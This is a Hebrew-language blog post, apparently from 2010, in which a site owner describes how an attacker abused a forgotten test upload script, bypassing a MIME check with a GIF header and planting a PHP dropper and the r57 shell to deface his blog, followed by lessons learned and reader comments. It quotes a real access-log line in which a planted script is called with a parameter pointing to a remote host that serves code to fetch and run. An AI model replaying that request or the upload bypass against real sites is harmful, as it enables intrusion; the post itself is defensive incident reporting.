איך הסקריפט קידדיז בכל זאת ניצחו

by יורי on 18/06/2010

או שאולי יותר נכון, איך חוסר תשומת לב קטן עלול להפיל בפח.

ביום רביעי, ה16 לחודש, בשעה 22:22 הגיעה מגוגל ישראל 87.109.217.210 חבר סעודי שכניראה חיפש אתרים ישראלים (למעשה הוא חיפש אתרים שבכתבות שלהם מופיע test ו upload) והתחיל לעבור כל העמודים שגוגל ישראל אינדקס מהאתר, ביניהם גם הדוגמאות קוד ב freebsd.co.il/test אחת הדוגמאות, שנכתבה לצורך דוגמא בלבד (וזאת הטעות), היא דוגמא להעלאת קובץ, בה השתמש הסעודי.

איך הוא עשה את זה:

  • העלה קובץ שבראשו מופיע GIF98a וכך עקף את הבדיקה היחידה שיש בקובץ ההעלאה ל mime-type של תמונה
  • בעזרת הקובץ שהעלה הוא העלה קובץ נוסף, שמקבל URL כפרמטר, מוריד את הקובץ ומריץ אותו עם eval
  • בעזרת הקובץ החדש, הריץ את הסקריפט PHP r57 כדאי שיהיה לו יותר קל והחליף את הindex.php בבלוג לזה שלו.

לקחים:

  • לא להשאיר סקריפטים זרוקים שלא נועדו ל-production.
  • לייצור sandbox לכל הניסויים, יוזר נפרד, דומיין נפרד.
  • לחסום כל תקשורת יוצאת מה sandbox.
  • לכתוב מערכת ששולחת SMS ברגע שהעמוד הראשי משתנה מהעותק הקיים.

עדכון:

אחריי כמה חיפושים לפי תאריך שינוי, הסתבר שהסעודי (אם הוא בכלל סעודי) לא פראייר בכלל ושתל בכל מני סקריפטי php את הקוד שלו בשביל להוריד ולהריץ קבצים, שישר אחרי פרסום הפוסט הזה, שינה את הindex שוב עם איום שאם לא אסיר אותו הוא יפרוץ אליי כל הזמן או משהו כזה.

בנוסף לזה חסמתי את הטווח הסעודי, מה שלא הפריעו לו לחזור מטווח של he.net האמריקאים ולנסות להריץ את הקוד שלו ממקום אחר:

65.49.14.55 joomla.freebsd.co.il - [18/Jun/2010:18:29:42 +0300] "GET /includes/.svn/tmp/props/.i.php?t0v=http://74.86.202.236/~globalho/.a/o.oxo HTTP/1.0" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)"

זאת אומרת, http://74.86.202.236/~globalho עוד אתר שהחבר הסעודי שלנו הגיע אליו ומשמש לאחסון קבצים לפריצות הבאות.

3 תגובות לפוסט:

  1. 1/08/2010stac says:

    להשאיר קובץ upload בשביל כולם? :)
    כנראה לא הייתי קורבן לtinymce upload exploit

  2. 9/11/2010ניב says:

    תעבור על הקבצים שלך מחדש, אחד אחד ותבדוק שאין קודים-זדוניים למניהם.
    אמנם עבודת נמלים, אך זה המחיר..
    וד"א, אם אתה בשרת שיתופי, ההיתי ממליץ לדווח לבעל השרת שיעביר סריקה על שאר הלקוחות.

  3. 9/11/2010יורי says:

    כניראה שלא קראת את הפוסט במלואו, אבל זה בדיוק מה שנעשה, מאוד בקלות מגלים את הקבצים ששונו לפי התאריך שינוי (mtime)
    של תאריך הפריצה.

כתוב תגובה: